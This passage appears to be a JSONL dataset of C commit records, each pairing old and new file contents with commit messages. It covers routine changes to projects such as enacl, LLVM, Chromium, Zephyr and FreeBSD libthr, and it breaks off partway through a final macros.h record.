{"commit":"0f39bae64c385bd61ff7fb52d11be70545270b7c","old_file":"c_src\/hash.c","new_file":"c_src\/hash.c","old_contents":"#include \"erl_nif.h\"\n\n#include <sodium.h>\n\n#include \"hash.h\"\n\nERL_NIF_TERM enacl_crypto_hash_nif(ErlNifEnv *env, int argc,\n                                   ERL_NIF_TERM const argv[]) {\n  ErlNifBinary input;\n  ErlNifBinary result;\n  ERL_NIF_TERM ret;\n\n  if ((argc != 1) || (!enif_inspect_iolist_as_binary(env, argv[0], &input)))\n    goto bad_arg;\n\n  if (!enif_alloc_binary(crypto_hash_BYTES, &result))\n    goto err;\n\n  crypto_hash(result.data, input.data, input.size);\n  ret = enif_make_binary(env, &result);\n  goto done;\n\nbad_arg:\n  return enif_make_badarg(env);\n\nerr:\n  ret = nacl_error_tuple(env, \"alloc_failed\");\ndone:\n  return ret;\n}\n","new_contents":"#include \"erl_nif.h\"\n\n#include <sodium.h>\n\n#include \"hash.h\"\n\nERL_NIF_TERM enacl_crypto_hash(ErlNifEnv *env, int argc,\n                               ERL_NIF_TERM const argv[]) {\n  ErlNifBinary input;\n  ErlNifBinary result;\n  ERL_NIF_TERM ret;\n\n  if ((argc != 1) || (!enif_inspect_iolist_as_binary(env, argv[0], &input)))\n    goto bad_arg;\n\n  if (!enif_alloc_binary(crypto_hash_BYTES, &result))\n    goto err;\n\n  crypto_hash(result.data, input.data, input.size);\n  ret = enif_make_binary(env, &result);\n  goto done;\n\nbad_arg:\n  return enif_make_badarg(env);\n\nerr:\n  ret = nacl_error_tuple(env, \"alloc_failed\");\ndone:\n  return ret;\n}\n","subject":"Fix name of C function","message":"Fix name of C function\n\nThe name of the generichash function was wrong, so it was not possible to find it when\nloading the NIF.\n","lang":"C","license":"mit","repos":"jlouis\/enacl,jlouis\/enacl"}
{"commit":"6b79855c62dc196ceb55fc0e585f6feb27db2fda","old_file":"cc1\/tests\/test040.c","new_file":"cc1\/tests\/test040.c","old_contents":"","new_contents":"\/*\nname: TEST040\ndescription: Test for bug parsing typenames in struct definition\noutput:\n\n*\/\n\ntypedef struct List List;\nstruct List {\n\tint len;\n\tstruct List *head;\n};\n\n","subject":"Add test for bug parsing typenames in structs","message":"Add test for bug parsing typenames in structs\n\nWhen a struct is parsed the namespace of the lexer is\nchanged to the namespace of the struct, which hides\nthe definition of types, which should be visible in\nsuch context.\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/kcc"}
{"commit":"b0cc4feff6ca7ac2015a44dd36506de77023b798","old_file":"src\/tests\/log_mock.c","new_file":"src\/tests\/log_mock.c","old_contents":"#include \"log.h\"\n#include <stdio.h>\n\nvoid debug(const char* format, ...) {\n#ifdef __DEBUG__\n    vprintf(format, args);\n#endif \/\/ __DEBUG__\n}\n\nvoid initializeLogging() { }\n","new_contents":"#include \"log.h\"\n#include <stdio.h>\n#include <stdarg.h>\n\nvoid debug(const char* format, ...) {\n#ifdef __DEBUG__\n    va_list args;\n    va_start(args, format);\n    vprintf(format, args);\n    va_end(args);\n#endif \/\/ __DEBUG__\n}\n\nvoid initializeLogging() { }\n","subject":"Fix debugging printouts when running tests.","message":"Fix debugging printouts when running tests.\n","lang":"C","license":"bsd-3-clause","repos":"openxc\/vi-firmware,ene-ilies\/vi-firmware,mgiannikouris\/vi-firmware,mgiannikouris\/vi-firmware,mgiannikouris\/vi-firmware,mgiannikouris\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,openxc\/vi-firmware,ene-ilies\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware"}
{"commit":"00e9ca7148936b16b9547f71b1c9501d41f7f034","old_file":"include\/llvm\/System\/Signals.h","new_file":"include\/llvm\/System\/Signals.h","old_contents":"\/\/===- llvm\/System\/Signals.h - Signal Handling support ----------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines some helpful functions for dealing with the possibility of\n\/\/ unix signals occuring while your program is running.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_SYSTEM_SIGNALS_H\n#define LLVM_SYSTEM_SIGNALS_H\n\n#include \"llvm\/System\/Path.h\"\n\nnamespace llvm {\nnamespace sys {\n\n  \/\/\/ This function registers signal handlers to ensure that if a signal gets \n  \/\/\/ delivered that the named file is removed.\n  \/\/\/ @brief Remove a file if a fatal signal occurs.\n  void RemoveFileOnSignal(const std::string &Filename);\n\n  \/\/\/ This function registers a signal handler to ensure that if a fatal signal\n  \/\/\/ gets delivered to the process that the named directory and all its\n  \/\/\/ contents are removed.\n  \/\/\/ @brief Remove a directory if a fatal signal occurs.\n  void RemoveDirectoryOnSignal(const llvm::sys::Path& path);\n\n  \/\/\/ When an error signal (such as SIBABRT or SIGSEGV) is delivered to the \n  \/\/\/ process, print a stack trace and then exit.\n  \/\/\/ @brief Print a stack trace if a fatal signal occurs.\n  void PrintStackTraceOnErrorSignal();\n\n} \/\/ End sys namespace\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===- llvm\/System\/Signals.h - Signal Handling support ----------*- C++ -*-===\/\/\n\/\/ \n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines some helpful functions for dealing with the possibility of\n\/\/ unix signals occuring while your program is running.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_SYSTEM_SIGNALS_H\n#define LLVM_SYSTEM_SIGNALS_H\n\n#include \"llvm\/System\/Path.h\"\n\nnamespace llvm {\nnamespace sys {\n\n  \/\/\/ This function registers signal handlers to ensure that if a signal gets \n  \/\/\/ delivered that the named file is removed.\n  \/\/\/ @brief Remove a file if a fatal signal occurs.\n  void RemoveFileOnSignal(const Path &Filename);\n\n  \/\/\/ This function registers a signal handler to ensure that if a fatal signal\n  \/\/\/ gets delivered to the process that the named directory and all its\n  \/\/\/ contents are removed.\n  \/\/\/ @brief Remove a directory if a fatal signal occurs.\n  void RemoveDirectoryOnSignal(const Path& path);\n\n  \/\/\/ When an error signal (such as SIBABRT or SIGSEGV) is delivered to the \n  \/\/\/ process, print a stack trace and then exit.\n  \/\/\/ @brief Print a stack trace if a fatal signal occurs.\n  void PrintStackTraceOnErrorSignal();\n\n} \/\/ End sys namespace\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Make the remove*OnSignal functions deal with Paths not strings","message":"Make the remove*OnSignal functions deal with Paths not strings\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@17761 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"cb85bbb9831f48b1e71050e59bf911c0d93fadc8","old_file":"Future\/toImplement\/new_new.c","new_file":"Future\/toImplement\/new_new.c","old_contents":"","new_contents":"\/*\n * Copyright (C) 2016  Bastien Penavayre\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n#define ARGUMENT_LIST(args...) args)\n#define new(name, ctor) name ## _ ## ctor (0, ARGUMENT_LIST\n\nvoid *String_ctor(const char *str)\n{\n    return 0;\n}\n\nint main()\n{\n    void *tmp = new(String, ctor)(\"Jello\");\n}\n","subject":"Add new future syntax for 'new' in Future folder","message":"Add new future syntax for 'new' in Future folder\n","lang":"C","license":"mit","repos":"swac31\/ObjectC,DaemonSnake\/ObjectC,swac31\/ObjectC,swac31\/ObjectC,DaemonSnake\/ObjectC,DaemonSnake\/ObjectC"}
{"commit":"0db943cf12894cf4342618655a8a3adfbb638984","old_file":"src\/builder.c","new_file":"src\/builder.c","old_contents":"#include \"builder.h\"\n#include \"entity\/board.h\"\n\n\/**\n * A small board has 4 cells, and its layout is a square.\n * 1 ----- 2\n * |       |\n * |       |\n * |       |\n * 4 ----- 3\n *\/\nint builder_create_small_board(s_board *b)\n{\n\tint c;\n\tuint8_t nb_max_players;\n\n\tnb_max_players = 4;\n\tinit_board(b, SMALL_BOARD_NB_CELLS, nb_max_players);\n\n\tfor (c = 0; c < SMALL_BOARD_NB_CELLS; c++) {\n\t\tb->cells[c].neighbours[0] = &b->cells[(SMALL_BOARD_NB_CELLS + c - 1) % SMALL_BOARD_NB_CELLS];\n\t\tb->cells[c].neighbours[1] = &b->cells[(c + 1) % SMALL_BOARD_NB_CELLS];\n\t\tb->cells[c].nb_neighbours = 2;\n\t}\n\n\treturn nb_max_players;\n}\n","new_contents":"#include \"builder.h\"\n#include \"entity\/board.h\"\n\n\/**\n * A small board has 4 cells, and its layout is a square.\n * 1 ----- 2\n * |       |\n * |       |\n * |       |\n * 4 ----- 3\n *\/\nint builder_create_small_board(s_board *b)\n{\n\tint c;\n\tuint8_t nb_max_players;\n\n\tnb_max_players = 2;\n\tinit_board(b, SMALL_BOARD_NB_CELLS, nb_max_players);\n\n\tfor (c = 0; c < SMALL_BOARD_NB_CELLS; c++) {\n\t\tb->cells[c].neighbours[0] = &b->cells[(SMALL_BOARD_NB_CELLS + c - 1) % SMALL_BOARD_NB_CELLS];\n\t\tb->cells[c].neighbours[1] = &b->cells[(c + 1) % SMALL_BOARD_NB_CELLS];\n\t\tb->cells[c].nb_neighbours = 2;\n\t}\n\n\treturn nb_max_players;\n}\n","subject":"Revert \"players number changed, for some tests\"","message":"Revert \"players number changed, for some tests\"\n\nThis reverts commit 90457a3c218b08da4eeb4e9c6907b909878290f5.\n","lang":"C","license":"mit","repos":"padawin\/Conqueror"}
{"commit":"d368da32d1b7d1c062229aa737be96775b0fae25","old_file":"webkit\/glue\/webkit_constants.h","new_file":"webkit\/glue\/webkit_constants.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 0.004;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 1.0;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","subject":"Increase the minimum interval for timers on background tabs to reduce their CPU consumption.","message":"Increase the minimum interval for timers on background tabs to reduce\ntheir CPU consumption.\n\nThe new interval is 1000 ms, or once per second. We can easily adjust\nthis value up or down, but this seems like a reasonable value to judge\nthe compatibility impact of this change.\n\nBUG=66078\nTEST=none (tested manually with minimal test case)\n\nReview URL: http:\/\/codereview.chromium.org\/6546021\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@75430 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"9935581d8ade0529be8c1af2ae39b8cf4cc288da","old_file":"drivers\/i2c\/i2c-priv.h","new_file":"drivers\/i2c\/i2c-priv.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2017 Linaro Limited\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#ifndef _I2C_PRIV_H_\n#define _I2C_PRIV_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <i2c.h>\n#include <dt-bindings\/i2c\/i2c.h>\n\n#ifndef SYS_LOG_LEVEL\n#define SYS_LOG_LEVEL CONFIG_SYS_LOG_I2C_LEVEL\n#endif\n#include <logging\/sys_log.h>\n\nstatic inline u32_t _i2c_map_dt_bitrate(u32_t bitrate)\n{\n\tswitch (bitrate) {\n\tcase I2C_BITRATE_STANDARD:\n\t\treturn I2C_SPEED_STANDARD << I2C_SPEED_SHIFT;\n\tcase I2C_BITRATE_FAST:\n\t\treturn I2C_SPEED_FAST << I2C_SPEED_SHIFT;\n\tcase I2C_BITRATE_FAST_PLUS:\n\t\treturn I2C_SPEED_FAST_PLUS << I2C_SPEED_SHIFT;\n\tcase I2C_BITRATE_HIGH:\n\t\treturn I2C_SPEED_HIGH << I2C_SPEED_SHIFT;\n\tcase I2C_BITRATE_ULTRA:\n\t\treturn I2C_SPEED_ULTRA << I2C_SPEED_SHIFT;\n\t}\n\n\tSYS_LOG_ERR(\"Invalid I2C bit rate value\");\n\n\treturn 0;\n}\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* _I2C_PRIV_H_ *\/\n","subject":"Add helper function to map from bitrate values to zephyr cfg","message":"i2c: Add helper function to map from bitrate values to zephyr cfg\n\nAdd _i2c_map_dt_bitrate() that maps from a bitrate to the I2C zephyr\ncfg bit fields used in i2c_configure().\n\nSigned-off-by: Kumar Gala <a5e5248af4cd4f0ed8c515f61d40a6e2db46a66e@linaro.org>\n","lang":"C","license":"apache-2.0","repos":"ldts\/zephyr,GiulianoFranchetto\/zephyr,kraj\/zephyr,punitvara\/zephyr,mbolivar\/zephyr,zephyrproject-rtos\/zephyr,runchip\/zephyr-cc3220,Vudentz\/zephyr,ldts\/zephyr,punitvara\/zephyr,fbsder\/zephyr,finikorg\/zephyr,aceofall\/zephyr-iotos,Vudentz\/zephyr,aceofall\/zephyr-iotos,nashif\/zephyr,kraj\/zephyr,rsalveti\/zephyr,fbsder\/zephyr,galak\/zephyr,mbolivar\/zephyr,rsalveti\/zephyr,aceofall\/zephyr-iotos,aceofall\/zephyr-iotos,rsalveti\/zephyr,fbsder\/zephyr,zephyriot\/zephyr,Vudentz\/zephyr,punitvara\/zephyr,ldts\/zephyr,mbolivar\/zephyr,nashif\/zephyr,runchip\/zephyr-cc3220,zephyrproject-rtos\/zephyr,nashif\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,mbolivar\/zephyr,aceofall\/zephyr-iotos,GiulianoFranchetto\/zephyr,explora26\/zephyr,zephyriot\/zephyr,zephyrproject-rtos\/zephyr,mbolivar\/zephyr,ldts\/zephyr,galak\/zephyr,kraj\/zephyr,rsalveti\/zephyr,GiulianoFranchetto\/zephyr,Vudentz\/zephyr,galak\/zephyr,galak\/zephyr,Vudentz\/zephyr,kraj\/zephyr,zephyriot\/zephyr,punitvara\/zephyr,zephyriot\/zephyr,fbsder\/zephyr,zephyrproject-rtos\/zephyr,explora26\/zephyr,finikorg\/zephyr,kraj\/zephyr,nashif\/zephyr,runchip\/zephyr-cc3220,ldts\/zephyr,zephyriot\/zephyr,finikorg\/zephyr,GiulianoFranchetto\/zephyr,explora26\/zephyr,fbsder\/zephyr,nashif\/zephyr,runchip\/zephyr-cc3220,explora26\/zephyr,punitvara\/zephyr,GiulianoFranchetto\/zephyr,galak\/zephyr,runchip\/zephyr-cc3220,rsalveti\/zephyr,finikorg\/zephyr,explora26\/zephyr,zephyrproject-rtos\/zephyr"}
{"commit":"d4ebaf57f5b06163889b6eaf986f430f6f50cb2b","old_file":"tools\/emulator\/non_interactive.c","new_file":"tools\/emulator\/non_interactive.c","old_contents":"\/\/ \n\/\/ Copyright 2011-2012 Jeff Bush\n\/\/ \n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ \n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ \n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ \n\n\/\/\n\/\/ Non-interactive test runner just produces register traces and memory dumps\n\/\/\n\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys\/poll.h>\n#include <stdarg.h>\n#include \"core.h\"\n#include \"debug_info.h\"\n\nvoid runNonInteractive(Core *core)\n{\n\tint i;\n\n\tenableTracing(core);\n\tfor (i = 0; i < 20; i++)\n\t{\n\t\tif (!runQuantum(core))\n\t\t\tbreak;\n\t}\n}\n","new_contents":"\/\/ \n\/\/ Copyright 2011-2012 Jeff Bush\n\/\/ \n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ \n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ \n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ \n\n\/\/\n\/\/ Non-interactive test runner just produces register traces and memory dumps\n\/\/\n\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys\/poll.h>\n#include <stdarg.h>\n#include \"core.h\"\n#include \"debug_info.h\"\n\nvoid runNonInteractive(Core *core)\n{\n\tint i;\n\n\tenableTracing(core);\n\tfor (i = 0; i < 40; i++)\n\t{\n\t\tif (!runQuantum(core))\n\t\t\tbreak;\n\t}\n}\n","subject":"Increase instruction count in emulator","message":"Increase instruction count in emulator\n","lang":"C","license":"apache-2.0","repos":"hoangt\/NyuziProcessor,jbush001\/NyuziProcessor,FulcronZ\/NyuziProcessor,FulcronZ\/NyuziProcessor,hoangt\/NyuziProcessor,hoangt\/NyuziProcessor,hoangt\/NyuziProcessor,jbush001\/NyuziProcessor,jbush001\/NyuziProcessor,FulcronZ\/NyuziProcessor,jbush001\/NyuziProcessor,FulcronZ\/NyuziProcessor,jbush001\/NyuziProcessor,jbush001\/NyuziProcessor"}
{"commit":"bc36c64c8d87b8cef07de9c40b282f4cf79339f6","old_file":"lib\/libthr\/thread\/thr_event.c","new_file":"lib\/libthr\/thread\/thr_event.c","old_contents":"","new_contents":"\/*\n * Copyright (c) 2005 David Xu\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Neither the name of the author nor the names of any co-contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * $FreeBSD$\n *\/\n\n#include \"thr_private.h\"\n\nvoid\n_thread_bp_create(void)\n{\n}\n\nvoid\n_thread_bp_death(void)\n{\n}\n\nvoid\n_thr_report_creation(struct pthread *curthread, struct pthread *newthread)\n{\n\tcurthread->event_buf.event = TD_CREATE;\n\tcurthread->event_buf.th_p = (td_thrhandle_t *)newthread;\n\tcurthread->event_buf.data = 0;\n\tTHR_UMTX_LOCK(curthread, &_thr_event_lock);\n\t_thread_last_event = curthread;\n\t_thread_bp_create();\n\t_thread_last_event = NULL;\n\tTHR_UMTX_UNLOCK(curthread, &_thr_event_lock);\n}\n\nvoid\n_thr_report_death(struct pthread *curthread)\n{\n\tcurthread->event_buf.event = TD_DEATH;\n\tcurthread->event_buf.th_p = (td_thrhandle_t *)curthread;\n\tcurthread->event_buf.data = 0;\n\tTHR_UMTX_LOCK(curthread, &_thr_event_lock);\n\t_thread_last_event = curthread;\n\t_thread_bp_death();\n\t_thread_last_event = NULL;\n\tTHR_UMTX_UNLOCK(curthread, &_thr_event_lock);\n}\n","subject":"Add missing event reporting code.","message":"Add missing event reporting code.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"876bc2c9a54c59dd75d18e7292dc3aedc9ea5f8b","old_file":"src\/bindings\/python\/helpers\/exceptions.h","new_file":"src\/bindings\/python\/helpers\/exceptions.h","old_contents":"\/*ckwg +5\n * Copyright 2012 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_PYTHON_HELPERS_EXCEPTIONS_H\n#define VISTK_PYTHON_HELPERS_EXCEPTIONS_H\n\n#define HANDLE_PYTHON_EXCEPTION(call)       \\\n  try                                       \\\n  {                                         \\\n    call;                                   \\\n  }                                         \\\n  catch (boost::python::error_already_set&) \\\n  {                                         \\\n    PyErr_Print();                          \\\n                                            \\\n    throw;                                  \\\n  }\n\n#endif \/\/ VISTK_PYTHON_HELPERS_EXCEPTIONS_H\n","new_contents":"\/*ckwg +5\n * Copyright 2012 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#ifndef VISTK_PYTHON_HELPERS_EXCEPTIONS_H\n#define VISTK_PYTHON_HELPERS_EXCEPTIONS_H\n\n\/\/\/ \\todo More useful output?\n\n#define HANDLE_PYTHON_EXCEPTION(call)       \\\n  try                                       \\\n  {                                         \\\n    call;                                   \\\n  }                                         \\\n  catch (boost::python::error_already_set&) \\\n  {                                         \\\n    PyErr_Print();                          \\\n                                            \\\n    throw;                                  \\\n  }\n\n#endif \/\/ VISTK_PYTHON_HELPERS_EXCEPTIONS_H\n","subject":"Add a todo for more useful Python exception output","message":"Add a todo for more useful Python exception output\n","lang":"C","license":"bsd-3-clause","repos":"mathstuf\/sprokit,Kitware\/sprokit,mathstuf\/sprokit,linus-sherrill\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,Kitware\/sprokit,linus-sherrill\/sprokit,mathstuf\/sprokit,mathstuf\/sprokit,Kitware\/sprokit"}
{"commit":"22a40259343115f241456b6914e86c32ab1e3e46","old_file":"include\/semantic.h","new_file":"include\/semantic.h","old_contents":"#ifndef SCC_SEMANTIC_HEADER\n#define SCC_SEMANTIC_HEADER\n\n#include <stdio.h>\n#include \"syntax.h\"\n#include \"symboltable.h\"\n\nint semantic_analysis(Syntax * top_level);\n\n#endif\n","new_contents":"#ifndef SCC_SEMANTIC_HEADER\n#define SCC_SEMANTIC_HEADER\n\n#include <stdio.h>\n#include <stdbool.h>\n#include \"syntax.h\"\n#include \"symboltable.h\"\n\nbool semantic_analysis(Syntax * top_level);\n\n#endif\n","subject":"Change the return type to bool.","message":"Change the return type to bool.\n","lang":"C","license":"mit","repos":"RyanWangGit\/scc"}
{"commit":"ab77d5e6475c9dbbce0b4fe4068025627df19291","old_file":"lib\/RStore-utils.h","new_file":"lib\/RStore-utils.h","old_contents":"#ifndef RSTORE_UITLS_H\n#define RSTORE_UITLS_H\n#include <RStore.h>\n#include <ParsedRStore.h>\nRS_RStore RS_lowerRStore(PRS_RStore store);\n#endif\n","new_contents":"#ifndef RSTORE_UITLS_H\n#define RSTORE_UITLS_H\n#include <RStore.h>\n#include <ParsedRStore.h>\nRS_RStore RS_lowerRStore(PRS_RStore store);\nPRS_RStore RS_liftRStore(RS_RStore store);\n#endif\n","subject":"Add declaration of lift function","message":"Add declaration of lift function\n","lang":"C","license":"bsd-3-clause","repos":"cwi-swat\/relation-stores,cwi-swat\/relation-stores,cwi-swat\/relation-stores"}
{"commit":"0793e936d6a57c1bb8ca723b06b3e0c762e52f80","old_file":"src\/main\/native\/macros.h","new_file":"src\/main\/native\/macros.h","old_contents":"\/\/ Copyright 2014 Google Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef MACROS_H__\n#define MACROS_H__\n\n\/\/ TODO(bazel-team): Use the proper annotation for clang.\n#define FALLTHROUGH_INTENDED do { } while (0)\n\n#endif \/\/ MACROS_H__\n","new_contents":"\/\/ Copyright 2014 Google Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language 